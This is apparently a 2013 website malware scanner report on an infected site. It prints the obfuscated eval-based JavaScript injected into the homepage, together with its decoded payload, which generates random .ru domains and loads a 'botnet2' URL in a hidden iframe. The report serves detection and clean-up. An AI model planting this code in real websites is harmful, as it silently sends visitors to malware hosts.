Obfuscated malicious JavaScript code on website pages redirects user to malicious domains in the *.ru area
Background
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.
This infected website hosts suspicious JavaScript code injected in index.html. Once visited this website homepage user browser is being redirected to the URL which is comprised from the random domain and the static part. The unchanged part of the URL appears to be runforestrun?sid=botnet2. Detected malicious payload resembles similar attack on websites hosted on PLESK based servers in May this year. The random nature of the URL succeeded to mask the malicious intent avoiding blacklisting by Google Safe Browsing and others.
This infected website hosts suspicious JavaScript code injected in index.html. Once visited this website homepage user browser is being redirected to the URL which is comprised from the random domain and the static part. The unchanged part of the URL appears to be runforestrun?sid=botnet2. Detected malicious payload resembles similar attack on websites hosted on PLESK based servers in May this year. The random nature of the URL succeeded to mask the malicious intent avoiding blacklisting by Google Safe Browsing and others.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Mon Aug 5 07:50:52 2013
Infected website's files: 1
Threat dump:
Malware entry
Malware entry details.
Beautified script
- try {
- prototype % 2;
- } catch (asd) {
- x = 2;
- }
- try {
- q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" :"")]("p");
- q.appendChild(q + "");
- } catch (fwbewe) {
- i = 0;
- try {
- prototype * 5;
- } catch (z) {
- fr = "fromChar";
- f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468,585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580,624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192,590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520,630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624,525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525,354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192,160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50,192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624,525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385,354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630,575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205,354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654,490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160,192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252,245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505,696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60,160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 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276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366,160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575,276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606,570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50,612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702,545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160,684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270,385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295,60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690,505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160,648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192,570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570,426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582,570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495,234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234,525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220,234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234,220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610,234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192,160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540,606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192,575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485,660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696,580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160,750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192,215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510,702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 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294, 270, 264, 160, 234, 570,702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366,160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580,240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192,160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570,594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654,505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555,696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630,510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170,354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726,540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160,192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690,525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160,192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726,230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160,192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60,625, 264, 160, 318, 240, 288, 205, 354];
- v = "eva";
- }
- if (v) e = window[v + "l"];
- w = f;
- s = [];
- r = String;
- z = ((e) ? "Code" : "");
- for (; 1776 - 5 + 5 > i; i += 1) {
- j = i;
- if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
- }
- if (f) alert(s);
- }
Malicious payload
Decoded payload injects hidden iframe to random domains in *.ru area
- function nextRandomNumber() {
- var hi = this.seed / this.Q;
- var lo = this.seed % this.Q;
- var test = this.A * lo - this.R * hi;
- if (test > 0) {
- this.seed = test;
- } else {
- this.seed = test + this.M;
- }
- return (this.seed * this.oneOverM);
- }
- function RandomNumberGenerator(unix) {
- var d = new Date(unix * 1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
- this.A = 48271;
- this.M = 2147483647;
- this.Q = this.M / this.A;
- this.R = this.M % this.A;
- this.oneOverM = 1.0 / this.M;
- this.next = nextRandomNumber;
- return this;
- }
- function createRandomNumber(r, Min, Max) {
- return Math.round((Max - Min) * r.next() + Min);
- }
- function generatePseudoRandomString(unix, length, zone) {
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z'];
- var str = '';
- for (var i = 0; i < length; i++) {
- str += letters[createRandomNumber(rand, 0, letters.length - 1)];
- }
- return str + '.' + zone;
- }
- setTimeout(function () {
- try {
- if (typeof iframeWasCreated == "undefined") {
- iframeWasCreated = true;
- var unix = Math.round(+new Date() / 1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
- ifrm.style.width = "0px";
- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm);
- }
- } catch (e) {}
- }, 500);
Blacklisting status
What is the current listing status for carryfastforwarder.com?
This site is not currently listed as suspicious.
What happened when Google visited this site?
Of the 1 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2013-07-18, and suspicious content was never found on this site within the past 90 days.Malicious software includes 7 exploit(s).
This site was hosted on 1 network(s) including AS33182 (DIMENOC).
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
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